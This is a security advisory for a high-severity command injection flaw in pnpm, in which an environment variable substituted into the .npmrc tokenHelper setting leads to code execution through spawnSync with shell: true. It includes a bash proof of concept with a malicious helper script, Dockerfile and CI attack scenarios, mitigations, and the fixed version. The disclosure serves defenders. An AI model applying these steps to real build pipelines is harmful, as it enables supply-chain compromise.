VDB
Sign up
HIGH7.5

GHSA-2phv-j68v-wwqx

pnpm vulnerable to Command Injection via environment variable substitution

Quick fix

GHSA-2phv-j68v-wwqx — pnpm: upgrade to the fixed version with the command below.

npm install pnpm@10.27.0

Details

## Summary

A command injection vulnerability exists in pnpm when using environment variable substitution in `.npmrc` configuration files with `tokenHelper` settings. An attacker who can control environment variables during pnpm operations could achieve remote code execution (RCE) in build environments.

## Affected Components

- **Package**: pnpm - **Versions**: All versions using `@pnpm/config.env-replace` and `loadToken` functionality - **File**: `pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts` - `loadToken()` function - **File**: `pnpm/config/config/src/readLocalConfig.ts` - `.npmrc` environment variable substitution

## Technical Details

### Vulnerability Chain

1. **Environment Variable Substitution** - `.npmrc` supports `${VAR}` syntax - Substitution occurs in `readLocalConfig()`

2. **loadToken Execution** - Uses `spawnSync(helperPath, { shell: true })` - Only validates absolute path existence

3. **Attack Flow** ``` .npmrc: registry.npmjs.org/:tokenHelper=${HELPER_PATH} ↓ envReplace() → /tmp/evil-helper.sh ↓ loadToken() → spawnSync(..., { shell: true }) ↓ RCE achieved ```

### Code Evidence

**`pnpm/config/config/src/readLocalConfig.ts:17-18`** ```typescript key = envReplace(key, process.env) ini[key] = parseField(types, envReplace(val, process.env), key) ```

**`pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts:60-71`** ```typescript export function loadToken(helperPath: string, settingName: string): string { if (!path.isAbsolute(helperPath) || !fs.existsSync(helperPath)) { throw new PnpmError('BAD_TOKEN_HELPER_PATH', ...) } const spawnResult = spawnSync(helperPath, { shell: true }) // ... } ```

## Proof of Concept

### Prerequisites - Private npm registry access - Control over environment variables - Ability to place scripts in filesystem

### PoC Steps

```bash # 1. Create malicious helper script cat > /tmp/evil-helper.sh << 'SCRIPT' #!/bin/bash echo "RCE SUCCESS!" > /tmp/rce-log.txt echo "TOKEN_12345" SCRIPT chmod +x /tmp/evil-helper.sh

# 2. Create .npmrc with environment variable cat > .npmrc << 'EOF' registry=https://registry.npmjs.org/ registry.npmjs.org/:tokenHelper=${HELPER_PATH} EOF

# 3. Set environment variable (attacker controlled) export HELPER_PATH=/tmp/evil-helper.sh

# 4. Trigger pnpm install pnpm install # RCE occurs during auth

# 5. Verify attack cat /tmp/rce-log.txt ```

### PoC Results ``` ==> Attack successful ==> File created: /tmp/rce-log.txt ==> Arbitrary code execution confirmed ```

## Impact

### Severity - **CVSS Score**: 7.6 (High) - **CVSS Vector**: cvss:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

### Affected Environments

**High Risk:** - CI/CD pipelines (GitHub Actions, GitLab CI) - Docker build environments - Kubernetes deployments - Private registry users

**Low Risk:** - Public registry only - Production runtime (no pnpm execution) - Static sites

### Attack Scenarios

**Scenario 1: CI/CD Supply Chain** ``` Repository → Build Trigger → pnpm install → RCE → Production Deploy ```

**Scenario 2: Docker Build** ```dockerfile FROM node:20 ARG HELPER_PATH=/tmp/evil COPY .npmrc . RUN pnpm install # RCE ```

**Scenario 3: Kubernetes** ``` Secret Control → Env Variable → .npmrc Substitution → RCE ```

## Mitigation

### Temporary Workarounds

**Disable tokenHelper:** ```ini # .npmrc # registry.npmjs.org/:tokenHelper=${HELPER_PATH} ```

**Use direct tokens:** ```ini //registry.npmjs.org/:_authToken=YOUR_TOKEN ```

**Audit environment variables:** - Review CI/CD env vars - Restrict .npmrc changes - Monitor build logs

### Recommended Fixes

1. Remove `shell: true` from loadToken 2. Implement helper path allowlist 3. Validate substituted paths 4. Consider sandboxing

## Disclosure

- **Discovery**: 2025-11-02 - **PoC**: 2025-11-02 - **Report**: [Pending disclosure decision]

## References

- Repository: https://github.com/pnpm/pnpm - Affected: `@pnpm/config.env-replace@^3.0.2` - Similar: CVE-2024-53866, CVE-2023-37478

## Credit

Reported by: Jiyong Yang Contact: sy2n0@naver.com

Are you affected?

Enter the version of the package you're using.

Affected packages

npm/pnpm
Introduced in: 6.25.0Fixed in: 10.27.0
Fixnpm install pnpm@10.27.0

References